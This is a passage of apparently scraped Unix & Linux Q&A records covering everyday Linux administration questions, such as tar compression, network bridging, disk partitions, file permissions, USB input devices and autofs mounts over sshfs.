Failed dependencies: libc.so.6 is needed by rpm-python-4.8.0-37.el6.i686 libc.so.6(GLIBC_2.0) is needed by rpm-python-4.8.0-37.el6.i686 libc.so.6(GLIBC_2.1) is needed by rpm-python-4.8.0-37.el6.i686 libc.so.6(GLIBC_2.1.3) is needed by rpm-python-4.8.0-37.el6.i686 libc.so.6(GLIBC_2.3.4) is needed by rpm-python-4.8.0-37.el6.i686 libelf.so.1 is needed by rpm-python-4.8.0-37.el6.i686 libm.so.6 is needed by rpm-python-4.8.0-37.el6.i686 libpthread.so.0 is needed by rpm-python-4.8.0-37.el6.i686 libpthread.so.0(GLIBC_2.0) is needed by rpm-python-4.8.0-37.el6.i686 libpython2.6.so.1.0 is needed by rpm-python-4.8.0-37.el6.i686 librt.so.1 is needed by rpm-python-4.8.0-37.el6.i686 libselinux.so.1 is needed by rpm-python-4.8.0-37.el6.i686 rpm = 4.8.0-37.el6 is needed by rpm-python-4.8.0-37.el6.i686 rtld(GNU_HASH) is needed by rpm-python-4.8.0-37.el6.i686 libc.so.6 is needed by python-2.6.6-51.el6.i686 libc.so.6(GLIBC_2.0) is needed by python-2.6.6-51.el6.i686 libdl.so.2 is needed by python-2.6.6-51.el6.i686 libm.so.6 is needed by python-2.6.6-51.el6.i686 libpthread.so.0 is needed by python-2.6.6-51.el6.i686 libpython2.6.so.1.0 is needed by python-2.6.6-51.el6.i686 libutil.so.1 is needed by python-2.6.6-51.el6.i686 python-libs(x86-32) = 2.6.6-51.el6 is needed by python-2.6.6-51.el6.i686 rtld(GNU_HASH) is needed by python-2.6.6-51.el6.i686"} {"_id": "47752", "title": "Linux bridge blocks UDP packet from tap interfaces", "text": "**Introduction:** I'm working on a 6lowPAN projects of Wireless Sensor Networks. Basically, I have a set of nodes (Contiki OS) which are running on a linux host. Each nodes have its own tap interface which are bridged on br0. Inside the bridge, all things are working well : node can send request and receive properly neighbor exchanges. All exchanges are using 6lowPAN (IPV6 adaptation). **Problem** : Now, I'm interested by sending request from the host to nodes. So, I add route rules for the destination bbbb::/64 to br0. I can ping any node from the host linux, unfortunately UDP requests fail. I'm using Firefox to send (through the Copper plugin) a UDP packet which is correctly received and processed by the node, but the response is rejected by the bridge which replies host unreachable (Port unreachable). **Questions** : Are there constraints or particular behaviours on routing rules between bridge and its host? How can I get more log information about Linux's IP stack to determine why it doesn't forward packets to the Firefox socket? **Investigation** : * I checked with `netstat` if Firefox is effectively listening on the proper response port [OK] * I checked with `nc` if the host allows UDP IPv6 exchange [OK] * No firewall rules [OK] * I manually added an IPV6 address to br0 bbbb::1/64 with and without routing rules but this didn't work (ping no works at all) [OK] * A lot of other exotic explorations **Basic configuration** : brctl addbr br0 ip tuntap add dev br0 mode tap brctl addif br0 tapXXX echo 1 > /proc/sys/net/ipv6/conf/all/forwarding ip -6 route add bbbb::/64 dev br0 ping6 ff02::1 -I br0 [OK] ping6 bbbb::ff02:1:2:3 [OK] firefox on coap://[bbbb::ff02:1:2:3]/hello <= FAILED (response is blocked by br0 bridge) **Logs** : ifconfig br0 Link encap:Ethernet HWaddr e2:81:42:77:bf:10 inet6 addr: fe80::28bf:62ff:fed7:54ac/64 Scope:Link `netstat -p6` AIC Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp6 0 0 fe80::28bf:62ff:f:46939 bbbb::ff:fe00:1%1:5683 ESTABLISHED 2544/firefox Wireshark fe80::28bf:62ff:fed7:54ac bbbb::ff:fe00:1 COAP 73 Confirmable, GET, /hello1 fe80::ff:fe00:1 fe80::28bf:62ff:fed7:54ac COAP 83 Acknowledgment, 2.05 fe80::28bf:62ff:fed7:54ac fe80::ff:fe00:1 ICMPv6 131 Destination Unreachable (Port unreachable)"} {"_id": "136906", "title": "Install pandas for python3 on Fedora 20", "text": "The Fedora project lists a package called python3-pandas. When I enter `sudo yum install python3-pandas` I get the message `No package python3-pandas available.`. How can I install this package? I am accessing a Fedora 20 machine via ssh. `yum repolist`: repo id repo name fedora/20/x86_64 Fedora 20 - x86_64 rpmfusion-free/20/x86_64 RPM Fusion for Fedora 20 - Free rpmfusion-free-updates/20/x86_64 RPM Fusion for Fedora 20 - Free - Updates rpmfusion-nonfree/20/x86_64 RPM Fusion for Fedora 20 - Nonfree rpmfusion-nonfree-updates/20/x86_64 RPM Fusion for Fedora 20 - Nonfree - Updates updates/20/x86_64 Fedora 20 - x86_64 - Updates"} {"_id": "73893", "title": "Custom access/launcher", "text": "I'm not sure what to call what I want, so I'll just describe what I want to do. What I'm doing is setting up an old laptop, with gentoo, for my kids. I want to have some program on there that, with a password, gives access to do homework, to play games for 30 min, watch netflix for an hour, etc. I can't imagine that there already exists a program that can do that, but it would be less work for me if there was. So I will have to make this launcher program. My question is this, after I make such a program, how do I make it so this program is running at start up and no other programs can be ran from any menus or anything. I have not decided which window manager to use yet. Is there a lite window manager that would help me accomplish this task?"} {"_id": "28976", "title": "How to XZ a directory with TAR using maximum compression?", "text": "So I need to compress a directory with max compression. How can I do it with `xz`? I mean I will need `tar` too because I can't compress a directory with only `xz`. Is there a oneliner to produce e.g. `foo.tar.xz`?"} {"_id": "136909", "title": "Why is my tar in a script behaving different than using tar manually", "text": "I'm writing a backup script for my email and cloud service. For simplicity, I only posted the mail-backup part here. Basically, I have a Host-Machine with some Virtual Boxes running in it. These Virtual Boxes access Host-Machines' `/mnt/alias/storage/` where there is the vmail folder (called shishaMail in my case) _(Following might not be necessary information)_ I would like to say that everything within `/mnt/alias/` is an `ln -s` from `/mnt/rack/*` with pretty names. In this rack folder are the mounts of the drives. _(Not necessary information END)_ Here is my script #!/bin/bash # backup script BASEURL=\"/mnt/alias/backup\" MAILURL=\"/mnt/alias/storage/shishaMail\" DAY=`eval date +\"%d\"` MONTH=`eval date +\"%m\"` YEAR=`eval date +\"%Y\"` HOUR=`eval date +\"%H\"` MINUTE=`eval date +\"%M\"` PIMPURL=$BASEURL/$YEAR/$MONTH/$DAY/ COMMAND1=\"cd $PIMPURL\" $COMMAND1 2>/dev/null if [ $? -eq 0 ] then echo \"Command 1 was successful\" else echo \"There ain't folders!!\" echo \"I'll mkdir some!\" COMMAND2=\"mkdir -p $PIMPURL\" $COMMAND2 2>/dev/null fi if [ $? -eq 0 ] then echo 'Command 1 or/and 2 was successful' echo \"STARTING MAIL BACKUP\" COMMAND3=\"tar -cvzf '\"$PIMPURL\"shisha_\"$HOUR\"_\"$MINUTE\"_.data.tar.gz' \"$MAILURL echo $COMMAND3 $COMMAND3 2>/dev/null if [ $? -eq 0 ] then echo 'MAIL BACKUP SUCCESSFULL' else echo \"FAILURE!!\" fi else echo 'Nope! Must be some kind of strage Err0r!!' fi So if I execute this script I get the following error: > Command 1 was successful > Command 1 or/and 2 was successful > STARTING MAIL BACKUP > tar -czvf '/mnt/alias/backup/2014/06/13/shisha_10_25_.data.tar.gz' > /mnt/alias/storage/shishaMail > tar: Removing leading `/' from member names > tar (child): '/mnt/alias/backup/2014/06/13/shisha_10_25_.data.tar.gz': > Cannot open: No such file or directory > tar (child): Error is not recoverable: exiting now > FAILURE!! As you see there is an `echo` of COMMAND3 which would be: > tar -czvf '/mnt/alias/backup/2014/06/13/shisha_10_21_.data.tar.gz' > /mnt/alias/storage/shishaMail And if I execute this command by hand, as the same user I execute the script as (which would be root in both cases), it works. I don't get why the script complains about a not existing file or directory as the directories exist except the `*.tar.gz` file as this has to be created by `tar`."} {"_id": "28972", "title": "Why are there no -dev packages in Arch Linux?", "text": "I understand that source based distributions like _Gentoo_ or _Slackware_ do not need `*-dev` versions of programs. They include the source code as well as header files for compiling everything locally. But I never saw `*-dev` packages in _Arch Linux_ , although it is package based. I ran across lots of `*-dev` packages in other distributions."} {"_id": "127150", "title": "How can I get the wall clock time of a running process?", "text": "I started a hash check of a large file and don't want to restart it using `time`. How can I get the wall clock time without using time at the beginning or using `date` right before I invoke a command?"} {"_id": "149559", "title": "Why does `mkdir -pm` not set the permissions I asked for?", "text": "I created some directories with the command `mkdir -pm 700 /tmp/a/b/c` I was surprised to find that `/tmp/a` had permissions `775` rather than the `700`, I had requested. Is there some reason for `mkdir` to only apply the specified mode to the last directory created and ignore it for the parent directories?"} {"_id": "13737", "title": "VMO Changes After Adding New RAM To AIX?", "text": "We have a server at a client site running AIX 5.3, which we just up the RAM to 32GB, from initially 16GB (if I'm not mistaken). This server is our Application server running J2EE applications on top of Oracle Internet Application Server. Recently we encountered one of the batch jobs hitting out of memory error. From NMON I see that on average, there's 5GB of free memory available. `%MAXPERM` is set to '15' and `%MINPERM` is '5'. `lru_file_repage` is '0'. `%comp` is around '70' and `%numperm` is '15'. I would like to ask: 1. After adding real memory to the server, is there any additional changes we need to do to the VMO? 2. Is the `%MAXPERM` too low?"} {"_id": "13733", "title": "Adding an unused partition to a linux filesystem", "text": "I am running kubuntu 11.04. I installed it in a dual-boot scenario on a single drive, with Windows XP installed first. The XP installation is fubar so I now would like to use the space in kubuntu. I formatted the old partition in gparted and upon trying to access it in a file manager I got the following error: An error occurred while accessing 'space', the system responded: org.freedesktop.UDisks.Error.Inhibited: Daemon is inhibited I am assuming this error is linked to the fact that the partition doesn't have a mount point, but I may well be wrong. I'd just like to have the filesystem set up so that a folder of my specification is using that drive exclusively (e.g. /home/user/files). From what I understand about mount points, I should be able to do that. I am hoping my changing of this drive won't have anything to do with booting or be system-critical. Is this possible? My drive layout looks like this: /dev/sda1 ext3 90.76 GiB this is where the xp installation was located /dev/sda2 ext3 19.53 GiB lunix /dev/sda3 swap 1.49 GiB unallocated 2.49 MiB Any help in this would be greatly appreciated, as I am running pretty low on drive space! Thanks"} {"_id": "13732", "title": "Generating random noise for fun in /dev/snd/", "text": "Recently I have been exploring the enchanted /dev folder. I want to write some random data to an audio device in order to generate some noise. I am using ALSA. So I instruct cat to pipe some random data to the playback file in the /dev folder... cat file-of-random-data > /dev/snd/pcmC0D0p then I recieve what seems to be an error from cat cat: write error: File descriptor in bad state How can I fix this so I can hear some delicious static play from my sound card?"} {"_id": "13731", "title": "Is there a way to get the min, max, median, and average of a list of numbers in a single command?", "text": "I have a list of numbers in a file, one per line. How can I get the minimum, maximum, _median_ and _average_ values? I want to use the results in a bash script. Although my immediate situation is for integers, a solution for floating-point numbers would be useful down the line, but a simple integer method is fine..."} {"_id": "81408", "title": "How can I figure out which pty's are from which qemu?", "text": "I'm running qemu's like this: $ sudo qemu -boot d -m 1024 \\ -netdev tap,id=tap0 \\ -device virtio-net-pci,netdev=tap0,id=vth0 \\ -drive file=ubuntu.iso,media=cdrom,cache=none,if=ide \\ -monitor pty \\ -serial pty \\ -parallel none \\ -nographic When I check `/dev/pts/`: $ sudo lsof +d /dev/pts/ Qemu pty's do not show up, although they do work using for example: $ sudo screen /dev/pts/8 How can I figure out which pty's are from which qemu?"} {"_id": "11380", "title": "Collapse repeating characters", "text": "Is there a more Bashist way than `echo \"$PWD//\" | sed -e 's#//\\\\+#/#g'` to replace repeating slashes with a single one? Thanks Steven D, now there's a fully working function to find the _longest common path of two or more paths_ : path_common."} {"_id": "43279", "title": "Disabling readahead with hdparm or POSIX_FADV_RANDOM", "text": "From Linux kernel's doc the advice POSIX_FADV_RANDOM seems to disable readahead. But whent I disable Readhead using (sudo hdparm -A 0 /dev/sdb) I get huge degradation in performances; also noticed that read(2) seems to get split every 512k and acts as separate calls (Not sure about the reason, may be the max sector per request). So which option really disables the read-ahead? Does POSIX_FADV_RANDOM also disable OS caching, or shall I add a POSIX_FADV_DONTNEED."} {"_id": "96370", "title": "RHEL - df -h v/s graphical disk usage analyzer tool", "text": "I am trying to understand the disk usage in my RHEL system. When I run the **Disk Usage Analyzer** tool graphically, my screen shows the below output. ![enter image description here](http://i.stack.imgur.com/1ClUg.png) However, if I run the command **df -h** I get the below output. Filesystem Size Used Avail Use% Mounted on /dev/sda5 38G 23G 14G 64% / /dev/sda7 146G 48G 91G 35% /home /dev/sda3 99M 23M 72M 24% /boot tmpfs 2.0G 0 2.0G 0% /dev/shm In the graphical output, I see the / is having 71.7 GB and usage is 100%. However, from the command line, I see that I still have 14G left and the use % is only 64. Why is there a discrepancy between the command line and the graphical output? How can I interpret the output?"} {"_id": "96371", "title": "Securing /tmp on OpenVZ", "text": "/tmp should be mounted as a separate filesystem with the noexec,nosuid options set /var/tmp should either be symlinked to /tmp or mounted as a filesystem /dev/shm is not mounted with the noexec,nosuid options (currently: none). You should modify the mountpoint in /etc/fstab for /dev/shm with those options and remount This is an OpenVZ Server and I don't know how to fix those issues. How do I make /tmp ect... safe on OpenVZ? This for the guest. can this be done on the host?"} {"_id": "11386", "title": "How to synchronize a networked drive and an external drive (Ubuntu & OS X)?", "text": "In light of a recent hardware failure, I've decided that it's time to be a little less lax regarding back-ups. What I have: * An Ubuntu 10.10 'server/NAS' * A MacBook 5,2 * A WD external HDD The server and the MacBook are permanently connected by Ethernet. I have a directory on the server that I'd like to keep synchronized with the external drive that I plug in from time to time. The Ubuntu filesystem is ext4 and the external drive is HFS+ (Mac OS Extended [Journaled]). It should be noted that this is not case-sensitive. I'm unsure if this is a problem. If it is I can reformat the external HDD so that it is. It should also be noted that OS X 10.6 ships with a fairly old `rsync`, ver. 2.6.9. I believe there are some problems with this concerning the handling of resource forks and other things. So then, what is the best way to proceed? * Should I be doing rsyncs across the network? If so some guidance re: how to achieve this using the CLI would be appreciated (I've read the `rsync` man page numerous times and can't quite get my head around it). * Or should I be installing a kernel module so that I can just plug the HFS+ formatted drive into the server and it be read & writeable in Linux? Again, some `rsync` CLI guidance would be great. * Or should I be doing something else entirely? Cheers."} {"_id": "112390", "title": "Preventing a new instance of a program to open when calling it", "text": "My problem is with FBI (frame buffer image viewer) for Linux, but my question and any answers are perhaps applicable to more than only that program. I don't know. Anyway\u2026 While things are loading on my Raspberry Pi, I display a \"Loading screen\" through HDMI using FBI. The command in my Bash script is: /usr/bin/fbi -T 1 -noverbose -a /etc/splash/splashscreen.png After a couple of days, I notice that I get an \"Out of memory\" error instead of the splash screens. It turns out every time a splash screen was displayed, a new instance of FBI was loaded. So there were 50 frame buffer image viewers open causing the memory error, I guess. Is there any way of making sure a new instance of a program isn't opened when I call for it, or will I have to do something like: pkill fbi /usr/bin/fbi -T 1 -noverbose -a /etc/splash/splashscreen.png"} {"_id": "11389", "title": "Dynamically reformatting man pages on terminal dimension changes", "text": "One common workflow of mine is to open a manual page in a terminal, then another terminal in which to test things. The man page is formatted to the initial dimensions of the first terminal. When I now resize my windows (or have my WM do that for me automatically), there is either a gap to the right of the preformatted page, or lines wrap. At this point I usually `q`(uit) and `!!` (run again), which loses my position in the page. I assume the formatting process is quite CPU intensive, or maybe it stems from ancient times of fixed terminal sizes. The `less` pager dynamically reacts to terminal resize events, so it should be possible in theory. I tried perusing man pages, searching the Web, asking on IRC -- the whole lot -- but couldn't come up with anything. * Can I trigger reformatting from within or outside of the man utility? * Is there a version of the man utility that resizes the page dynamically? * Is there way to customize some part of the formatting/display process to make it update on `SIGWINCH`?"} {"_id": "43270", "title": "How do I create history files with date automatically attached?", "text": "E.g. at the end of the session for each day I want to create a history file with the date attached at the end. So, say, history > history07162012.txt or something like that."} {"_id": "43277", "title": "Perl script, do cd on terminal", "text": "In Script to change current directory (cd, pwd) it is shown how to run a bash script that changes terminal directory. But how do i run a perl script that runs a bash script that changes terminal directory?"} {"_id": "154146", "title": "monoDevelop doesn't work after installation", "text": "How to solve this problem? i installed mono Develop from software manger for Linux mint 17 after installing and getting start it. doesn't work"} {"_id": "43274", "title": "Scientific Linux 6.3 hangs on suspend if using a samba share", "text": "I have several notebooks running Scientific Linux 6.3. The suspend function is working quite well, except for one problem: When a notebook mounts a Samba share, plays a few videos through this share then the suspend function stops working, and the notebook suddenly needs _5_ minutes to suspend. Again, this problem only occurs if they watched videos over the samba share. **QUESTION** : WHY? does samba keeps something open and need a timeout of 5 minutes, just after the suspend function has been involved or what? Any suggestions on where to look to find out what's going on would be appreciated. Or a way for I could write a bash script to check when is the suspend button pressed so that I could do xy* thing to the machine. (*xy=anything that corrects this problem)"} {"_id": "127159", "title": "Remove last comma from a bash for loop generated string", "text": "I am dealing with a situation where I need to create a comma separated list from an array into a heredoc and remove the last comma. I am using bash `for` piped into `sed` which is erasing all commas instead of the last one. A simplified example is as follows: x=$(for i in a b c; do echo \"${i}\",; done| sed 's/,$//') echo $x a b c Desired output: a, b, c Any suggestions appreciated."} {"_id": "73957", "title": "fdisk. What does the \"free\" partition mean?", "text": "I had two primary partitions (`/dev/sda1` and `/dev/sda2`). Then I created an extended partition to segment it into logical partitions. After I had typed `fdisk /dev/sda` and `n` (add a new partition) the following message appeared. > p primary (2 primary, 1 extended, 1 free) > > l logical (numbered from 5) What does `1 free` mean?"} {"_id": "48579", "title": "Why can rm remove read-only files?", "text": "If I create a file and then change its permissions to `444` (read-only), how come `rm` can remove it? If I do this: echo test > test.txt chmod 444 test.txt rm test.txt ...`rm` will ask if I want to remove the write-protected file `test.txt`. I would have expected that `rm` can not remove such a file and that I would have to do a `chmod +w test.txt` first. If I do `rm -f test.txt` then `rm` will remove the file without even asking, even though it's read-only. Can anyone clarify? I'm using Ubuntu 12.04/bash."} {"_id": "71092", "title": "Able to delete file without permission", "text": "I've been experimenting with file permissions and ownership lately, and I tried this: touch a sudo chown root:root a sudo chmod 000 a I can't read, write, or execute the file, but I can still delete it using `-f`. Why is this? I don't own the file, and nobody has any permission for the file. Shouldn't you need root to delete a 000 file you don't own? ---------- 1 root root 0 Apr 3 20:18 a"} {"_id": "75395", "title": "why am I able to delete file which belongs to `root` under a non-root user?", "text": "I create a file under my user `esolve` and then `su root` and use chown to change its user to root then I returned to user `esolve` I notice I can still delete the file with `rm` why?"} {"_id": "137601", "title": "Minimum file permissions to delete a file", "text": "To delete a file in Linux: What minimal permissions do we need to set on it? What minimal permissions do we need to set on its parent directory?"} {"_id": "19150", "title": "Missed get command of FTP", "text": "I am using AIX 7.1. I made some shell scripts8 and called /bin/bsh. Inside the script, I connect to a server via FTP and have many get commands because I would like to avoid the wildcard problem. I just declare every filename and get them one by one, for example: get PDF_02378230_20110609.PDF get PDF_02432482_20110609.PDF get PDF_02432565_20110609.PDF get PDF_02432573_20110609.PDF get PDF_02432581_20110609.PDF get PDF_02432599_20110609.PDF get PDF_02432607_20110609.PDF get PDF_02432615_20110609.PDF get PDF_02432623_20110609.PDF get PDF_02432649_20110609.PDF get PDF_02432656_20110609.PDF get PDF_02432672_20110609.PDF get PDF_02432755_20110609.PDF get PDF_02432763_20110609.PDF get PDF_02432821_20110609.PDF get PDF_02432920_20110609.PDF get PDF_02433175_20110609.PDF get PDF_02433266_20110609.PDF get PDF_02433290_20110609.PDF get PDF_02433308_20110609.PDF get PDF_02433373_20110609.PDF get PDF_02433399_20110609.PDF There could be up to 100000 files to be transfer in 1 shell scripts. I would run these shell scripts and let them ftp the files down. But in some shell script there are 1 or 2 missing files not been \"get\". For example, when I count the number of files, there might be 1 or 2 less files than the number of \"get\" command in the shell script. I cannot found an exception or error inside the log. The truth is, I cannot go through the whole log line by line because it is too long. But I have found which file was missing, and I tried to search the log file with the missing filename, and I cannot found any trace of that filename."} {"_id": "19153", "title": "LVM tools on raw block copy", "text": "I have several raw block copies of disks that have both NTFS and Linux partitions. The parition tables generally have both a Windows NTFS partition and a Linux LVM partition. I need to work on all of these partitions to build a supertimeline (log2timeline) but I need a good way to find the ext partitions inside the LVM. I am not familiar at all with and of the LVM commands, though I have a decent grasp on the terminology. Once I get to the byte offset of the ext partitions, I'll be fine, but I'd rather not scan the disk byte by byte for the partition headers and superblocks."} {"_id": "116413", "title": "Why is \"Asking all remaining processes to terminate\" failing during shutdown?", "text": "I installed Debian 7. Sometimes when I quick X and type `sudo shutdown -h now`, it says, `Asking all remaining processes to terminate`, then after a few seconds, it prints a long list of processes, then it says that it failed to stop them, then the computer powers off. * The computer was only recently installed. * I have had the same distribution on this computer and on other computers, installed in the same manner, but never encountered this before. Is this problem serious? If so, what could be causing it?"} {"_id": "120143", "title": "How is the order in which tar works on files determined?", "text": "$ touch dir/{{1..8},{a..p}} $ tar cJvf file.tar.xz dir/ dir/ dir/o dir/k dir/b dir/3 dir/1 dir/i dir/7 dir/4 dir/e dir/a dir/g dir/2 dir/d dir/5 dir/8 dir/c dir/n dir/f dir/h dir/6 dir/l dir/m dir/j dir/p I would have expected it to be alphabetical. But apparently it's not. What's the formula, here?"} {"_id": "94206", "title": "How to determine which processes are using how much entropy from /dev/urandom", "text": "Doing `fuser -v /dev/urandom` tells me which processes currently have `/dev/urandom` open, but only that. Is there any was to determine anything about how much entropy each one is using up over time? For instance, it might be that one process is using up about 1 bit of entropy every minute, while a different one is using up about 8 bits per second; I'd like some way of determining that."} {"_id": "94207", "title": "Recursively add a file to all sub-directories", "text": "How do I recursively add(or touch) a file into the current directory, as well as all sub-directories? For example, I would like to turn this directory tree: . \u251c\u2500\u2500 1 \u2502\u00a0\u00a0 \u251c\u2500\u2500 A \u2502\u00a0\u00a0 \u2514\u2500\u2500 B \u251c\u2500\u2500 2 \u2502\u00a0\u00a0 \u2514\u2500\u2500 A \u2514\u2500\u2500 3 \u251c\u2500\u2500 A \u2514\u2500\u2500 B \u2514\u2500\u2500 I 9 directories, 0 files into . \u251c\u2500\u2500 1 \u2502\u00a0\u00a0 \u251c\u2500\u2500 A \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u2514\u2500\u2500 file \u2502\u00a0\u00a0 \u251c\u2500\u2500 B \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u2514\u2500\u2500 file \u2502\u00a0\u00a0 \u2514\u2500\u2500 file \u251c\u2500\u2500 2 \u2502\u00a0\u00a0 \u251c\u2500\u2500 A \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u2514\u2500\u2500 file \u2502\u00a0\u00a0 \u2514\u2500\u2500 file \u251c\u2500\u2500 3 \u2502\u00a0\u00a0 \u251c\u2500\u2500 A \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u2514\u2500\u2500 file \u2502\u00a0\u00a0 \u251c\u2500\u2500 B \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u251c\u2500\u2500 file \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u2514\u2500\u2500 I \u2502\u00a0\u00a0 \u2502\u00a0\u00a0 \u2514\u2500\u2500 file \u2502\u00a0\u00a0 \u2514\u2500\u2500 file \u2514\u2500\u2500 file 9 directories, 10 files"} {"_id": "1052", "title": "Concern about logging in as root overrated?", "text": "For personal linux on my personal notebooks, I've usually set my environment to **autologin as root** even under X or lower runlevels. I've found my workflow is very pleasant and fast, without any cumbersome need to type `su` or `sudo` or being asked by keyring or auth or something. So far I've never had any problem with it, so **why are most people freaking out about it?** Is the concern overrated? Of course this assumes the user knows what they are doing and doesn't really care about system reliability and security issues."} {"_id": "116419", "title": "Access USB device of another machine as if it was locally plugged?", "text": "I would like to use, on server A, an USB webcam that is physically plugged on server B. Is there a way to _mount_ the `/dev/video0` of server B on server A (as `/dev/video0`, or `/dev/video1`, etc.). Both servers are running Debian Wheezy and can communicate via local network."} {"_id": "116418", "title": "Virtualbox complains that I don't have headers", "text": "I've installed Virtualbox (on Debian testing amd64)according to the wiki. But I get this error: $ virtualbox WARNING: The character device /dev/vboxdrv does not exist. Please install the virtualbox-dkms package and the appropriate headers, most likely linux-headers-amd64. You will not be able to start VMs until this problem is fixed. My kernel is 3.2.0-4-amd64 but the headers installed by `apt-get install linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,')` command is linux- headers-3.12-1-amd64 (There is no linux-headers-3.2.0-4-amd64 on repository anyway). Could the problem be this?"} {"_id": "52264", "title": "Keyboard/mouse do not work when connected to USB hub, but only on Fedora - works on other distros", "text": "**For the record** , the same problem happens in openSUSE, too, and the solution is the same. It is fixed in both Fedora 18 (as far as I could tell: I just booted a live CD) and openSUSE 12.3. I installed Fedora 17 on my laptop, where I use a keyboard (Logitech K120) and mouse (generic USB mouse) connected to a hub. Then I noticed that neither the keyboard nor the mouse worked. However: * They do work in Arch Linux, Windows, GRUB and on the console (they only die when X starts), regardless if they're connected to a hub or not. * If I plug the mouse/keyboard directly into the USB ports, they work properly. This shows that neither the USB hub nor the keyboard/mouse are damaged. lsusb of the relevant devices (USB hub, keyboard and mouse, respectively): Bus 002 Device 004: ID 058f:6254 Alcor Micro Corp. USB Hub Bus 002 Device 006: ID 046d:c31c Logitech, Inc. Keyboard K120 for Business Bus 002 Device 005: ID 093a:2521 Pixart Imaging, Inc. Any clues? * * * Editing as per sch's comments: * The keyboard works on the console. * The keyboard/mouse appears on `xinput list`, only when they're connected directly to the USB ports; **not** when they are connected to the hub. * There is a change in `/proc/interrupts` when I move the mouse, even though the cursor doesn't move. * When I plug the mouse/keyboard **through the hub** , nothing happens in the X logs. When I plug them directly I get the standard log information: [ 407.686] (II) config/udev: Adding input device USB OPTICAL MOUSE (/dev/input/mouse1) [ 407.686] (II) No input driver specified, ignoring this device. [ 407.686] (II) This device may have been added with another device file. [ 407.686] (II) config/udev: Adding input device USB OPTICAL MOUSE (/dev/input/event8) [ 407.686] (**) USB OPTICAL MOUSE: Applying InputClass \"evdev pointer catchall\" [ 407.686] (II) Using input driver 'evdev' for 'USB OPTICAL MOUSE' [ 407.686] Option \"XkbRules\" \"evdev\" [ 407.686] Option \"XkbModel\" \"evdev\" [ 407.686] Option \"XkbLayout\" \"us\" [ 407.686] Option \"_source\" \"server/udev\" [ 407.686] Option \"name\" \"USB OPTICAL MOUSE\" [ 407.686] Option \"path\" \"/dev/input/event8\" [ 407.686] Option \"device\" \"/dev/input/event8\" [ 407.686] Option \"config_info\" \"udev:/sys/devices/pci0000:00/0000:00:1c.3/0000:04:00.0/usb3/3-2/3-2:1.0/input/input30/event8\" [ 407.686] Option \"driver\" \"evdev\" [ 407.686] (**) USB OPTICAL MOUSE: always reports core events [ 407.686] (**) evdev: USB OPTICAL MOUSE: Device: \"/dev/input/event8\" [ 407.686] (--) evdev: USB OPTICAL MOUSE: Vendor 0x93a Product 0x2521 [ 407.686] (--) evdev: USB OPTICAL MOUSE: Found 9 mouse buttons [ 407.686] (--) evdev: USB OPTICAL MOUSE: Found scroll wheel(s) [ 407.686] (--) evdev: USB OPTICAL MOUSE: Found relative axes [ 407.686] (--) evdev: USB OPTICAL MOUSE: Found x and y relative axes [ 407.686] (II) evdev: USB OPTICAL MOUSE: Configuring as mouse [ 407.686] (II) evdev: USB OPTICAL MOUSE: Adding scrollwheel support [ 407.686] (**) evdev: USB OPTICAL MOUSE: YAxisMapping: buttons 4 and 5 [ 407.686] (**) evdev: USB OPTICAL MOUSE: EmulateWheelButton: 4, EmulateWheelInertia: 10, EmulateWheelTimeout: 200 [ 407.687] (**) Option \"config_info\" \"udev:/sys/devices/pci0000:00/0000:00:1c.3/0000:04:00.0/usb3/3-2/3-2:1.0/input/input30/event8\" [ 407.687] (II) XINPUT: Adding extended input device \"USB OPTICAL MOUSE\" (type: MOUSE, id 17) [ 407.687] (II) evdev: USB OPTICAL MOUSE: initialized for relative axes. [ 407.687] (**) USB OPTICAL MOUSE: (accel) keeping acceleration scheme 1 [ 407.687] (**) USB OPTICAL MOUSE: (accel) acceleration profile 0 [ 407.687] (**) USB OPTICAL MOUSE: (accel) acceleration factor: 2.000 [ 407.687] (**) USB OPTICAL MOUSE: (accel) acceleration threshold: 4"} {"_id": "52262", "title": "autofs with sshfs not working anymore", "text": "I just upgraded from Ubuntu 12.04 to 12.10. Before that I backed up my autofs config which worked fine. I appended the line from my old `/etc/auto.master` to the new one: +dir:/etc/auto.master.d +auto.master /mnt /etc/auto.sshfs uid=1000,gid=1000,--timeout=30,--ghost,--verbose my `/etc/auto.sshfs` looks like this: mymount -fstype=fuse,rw,nodev,nonempty,noatime,allow_other,max_read=65536 :sshfs\\#myuser@mydomain:/mnt/mymount Trying this manually I got `Connetion reset by peer` so I added the option `IdentityFile=/home/myuser/.ssh/id_rsa`. Now this happens when I try to access `/mnt` (both with manual and autofs): myuser@laptop /mnt % la ls: cannot access mymount: No such file or directory total 4 drwxr-xr-x 3 root root 0 Oct 19 10:34 ./ drwxr-xr-x 25 root root 4096 Oct 18 23:17 ../ d????????? ? ? ? ? ? mymount/ The relevant entries from my `/var/log/syslog` are this: Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: lookup(program): lookup for mymount failed Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: failed to mount /mnt/mymount Oct 19 00:17:56 laptop automount[1250]: attempting to mount entry /mnt/mymount Oct 19 00:17:56 laptop 